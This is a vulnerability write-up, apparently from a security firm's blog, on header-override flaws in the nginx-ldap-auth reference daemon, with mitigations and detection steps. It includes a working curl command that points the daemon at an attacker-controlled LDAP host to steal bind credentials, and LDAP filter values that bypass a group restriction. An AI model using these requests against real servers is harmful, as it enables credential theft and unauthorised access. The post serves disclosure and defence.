Note: I performed this research as part of my R&D role at AppCheck, this blog post is cross posted here and on the company blog.
A recent zero-day vulnerability has been publicly shared revealing a critical issue with the nginx-ldap-auth software package allowing attackers to potentially bypass authentication and disclose key information on vulnerable servers. NGINX have now published a blog post responding to this vulnerability: https://www.nginx.com/blog/addressing-security-weaknesses-nginx-ldap-reference-implementation/
Information about this vulnerability first appeared publicly on Twitter on 9th April 2022, shortly afterwards a GitHub repo has been created to collate the information: https://github.com/AgainstTheWest/NginxDay/blob/main/README.md
I investigated this issue starting from the publicly available information, identified the cause of the vulnerability and have formulated a work around. Affected users are urged to implement the work around as soon as possible and update any affected servers as patches and security updates become available.
The nginx-ldap-auth software is a reference implementation of a method for authenticating users who request protected resources from servers proxied by NGINX Plus. It includes a daemon (ldap-auth) that communicates with an authentication server, and a sample daemon that stands in for an actual back-end server during testing, by generating an authentication cookie based on the user’s credentials. The daemons are written in Python for use with a Lightweight Directory Access Protocol (LDAP) authentication server (OpenLDAP or Microsoft Windows Active Directory 2003 and 2012).
https://github.com/nginxinc/nginx-ldap-auth/blob/2ef1e5cae435b315f6efc0fc190a41a62ef9349a/README.md
The nginx-ldap-auth daemon allows a number of configuration settings (such as the URL of the LDAP server, LDAP Base DN, LDAP bind DN, and LDAP Filter) to be configured via command line parameters when the daemon is started. However when handling an authentication request these settings can be overridden by the HTTP request headers (https://github.com/nginxinc/nginx-ldap-auth/blob/ef8d313042085c80b21b107ae65682f256a3b68e/nginx-ldap-auth-daemon.py#L158):
- X-Ldap-Realm
- X-Ldap-URL
- X-Ldap-Starttls
- X-Ldap-DisableReferrals
- X-Ldap-BaseDN
- X-Ldap-Template
- X-Ldap-BindDN
- X-Ldap-BindPass
- X-CookieName
These headers are set in the example configuration file using `proxy_set_header` with comments indicating which are required and which are optional https://github.com/nginxinc/nginx-ldap-auth/blob/ef8d313042085c80b21b107ae65682f256a3b68e/nginx-ldap-auth.conf#L57. However any header that is not explicitly set in the nginx configuration is under the control of the attacker.
If an administrator relies on the configuration passed to the nginx-ldap-auth daemon in command line parameters rather than using `proxy_set_header` in the NGINX configuration, then the system is vulnerable.
An attacker can send a HTTP request with these HTTP Headers configured, which will then be passed to the nginx-ldap-auth daemon, which will use them with the LDAP protocol to determine if the provided credentials are valid or not.
Authentication Bypass and Information Disclosure
The first attack (authenticated bypass and information disclosure) involved specifying the X-Ldap-URL header with the value of a malicious LDAP server. For servers exposed publicly to the Internet this attack can be carried out from an unauthenticated perspective. This will cause the vulnerable system to proxy the request to the nginx-ldap-auth daemon to connect with an attacker-controlled LDAP server. Assuming the attacker’s malicious LDAP server responds successfully to every request, the attack can log the credentials the administrator configured for the legitimate LDAP server along with other information such as the Base DN. This can lead to a critical authentication bypass for any user’s authenticating against via the nginx-ldap-auth software. Depending on the target server and circumstances, this issue could result in an account takeover, leading to the disclosure of personal information and further exploitation within the context of an authenticated user.
A potential attack could be a trivial as issuing the following request using a tool such as curl: curl -u foo:bar -H 'X-Ldap-URL: ldap://malicious.grimhacker.com' https://vulnerable.example.org
. This will cause vulnerable systems to:
- Proxy the request with the malicious header to the nginx-ldap-auth daemon.
- The nginx-ldap-auth daemon will connect to the malicious ldap server,
- bind with the credentials the administrator configured (https://github.com/nginxinc/nginx-ldap-auth/blob/master/nginx-ldap-auth-daemon.py#L228),
- perform an LDAP search for the username in the request using the query template configured by the administrator in order to obtain the distinguished name (DN) of the user (https://github.com/nginxinc/nginx-ldap-auth/blob/ef8d313042085c80b21b107ae65682f256a3b68e/nginx-ldap-auth-daemon.py#L231),
- provided the object for the DN was found, bind to the ldap server using the user’s DN and the password from the request (https://github.com/nginxinc/nginx-ldap-auth/blob/ef8d313042085c80b21b107ae65682f256a3b68e/nginx-ldap-auth-daemon.py#L263),
- return a 200 response.
- The NGINX server will receive the 200 response from the nginx-ldap-auth daemon and permit the attacker to access the protected resource.
Note if nginx-ldap-auth fails to connect to, bind with the administrators configured credentials, query, or bind with the users credentials, then authentication fails and NGINX denies access to the protected resource.
The following screenshot demonstrates using a malicious LDAP server to capture the bind credentials for the legitimate server, simply by enabling the debug log level 2 “debug packet handling” on the malicious server and executing the curl command above:
LDAP Injection – X-LDAP-Template
The next attack would be to specify the X-Ldap-Template header (without the X-Ldap-URL header) in order to modify the LDAP query that will be executed on the legitimate LDAP server. This may require a valid account to successfully bind after the query and therefore have a response difference (authentication failed/successful) which can be used to exploit this issue as a Boolean LDAP Injection vulnerability, however the credentials obtained from the information disclosure in the first attack may be valid for this purpose.
Update: the NGINX blog post indicates that “an attacker can use a specially crafted request header to bypass the group membership (`memberOf`) check and so force LDAP authentication to succeed even if the user being authenticated does not belong to the required groups.”
Assuming a legitimate X-LDAP-Template configured on the command line such as the following which restricts access to members of the “research” group:
(&(uid=%(username)s)(memberof=cn=research,ou=groups,dc=sirius,dc=com))
An attacker could provide an X-LDAP-Template header such as:
(uid=%(username)s)
in order to remove the group restriction from the query and therefore gain access using a legitimate account on the LDAP server which is not in the intended group.
LDAP Injection – Username
The final attack we will briefly discuss is an LDAP Injection vulnerability in the username parameter.
The username submitted by the attacker in the Base64 encoded Authorization header or Cookie request header. Is extracted by the daemon and then added to the ctx dictionary (https://github.com/nginxinc/nginx-ldap-auth/blob/b5eca063d5392994a8e1223eaaa62dc75d22382c/nginx-ldap-auth-daemon.py#L86). This is later used to populate the X-LDAP-Template with no filtering or validation (https://github.com/nginxinc/nginx-ldap-auth/blob/b5eca063d5392994a8e1223eaaa62dc75d22382c/nginx-ldap-auth-daemon.py#L231)
This allows an attacker to include LDAP meta characters within the username in order to alter the search query executed on the LDAP server.
The daemon handles multiple records being returned by taking the first result, and then continues as normal by attempting to bind using the supplied password and the user’s distinguished name (from the query result).
A carefully constructed LDAP injection string in the username parameter may be able to bypass intended access control restrictions by manipulating the search query to make the group restriction ineffective.
Mitigation
NGINX have stated that the LDAP reference implementation they published describes the mechanics of how the integration works and all of the components required to verify the integration, and that it is not a production-grade LDAP solution as stated in their security notices.
Therefore any implementation directly using the reference implementation should be closely reviewed and hardened to remove vulnerabilities and increase security, for example encryption should be used, and user input filtering should be implemented.
To prevent an attacker from overriding the command line parameters, the `proxy_set_header` directives should be used in the NGINX configuration set to an empty string when using the command -line configuration, this includes any optional parameters. e.g.:
location = /auth-proxy {
...
proxy_set_header X-Ldap-URL ""; # Empty value when using command-line config
proxy_set_header X-Ldap-BaseDN ""; # Empty value when using command-line config
proxy_set_header X-Ldap-BindDN ""; # Empty value when using command-line config
proxy_set_header X-Ldap-BindPass ""; # Empty value when using command-line config
proxy_set_header X-Ldap-Template ""; # Optional, but do not comment (use empty value)
proxy_set_header X-CookieName ""; # Optional, but do not comment (use empty value)
proxy_set_header X-Ldap-Realm ""; # Optional, but do not comment (use empty value)
proxy_set_header X-Ldap-Starttls ""; # "True" or empty (do not comment)
...
}
You may also wish to consider blocking any requests which contain the X-Ldap-* request headers (regardless of case or leading whitespace) which originate from outside your environment.
Note this should be thoroughly tested in your environment before deploying to production instances.
Defence in Depth
Finely control which hosts are allowed to connect to where and on what ports/services. (Why does your NGINX authentication daemon host need to be allowed to connect to an arbitrary LDAP server on the internet?)
Secure Coding Practices
- Always assume that your reference implementation is going to be used as-is in production.
- Always validate user input.
- Do not allow sensitive configuration options to be passed from the end user.
Detection
This issue can be detected manually by administrators by issuing an authentication request with the HTTP request header X-Ldap-URL: ldap://127.0.0.1:1234
and a unique username, and checking the logs of the legitimate LDAP server to confirm that the authentication request for the unique username did not reach the legitimate server.
Presentation
I delivered a presentation about this issue to my local DefCon Group (DC151). Checkout the slides (with speaker notes and screenshots of demonstrations):
Be First to Comment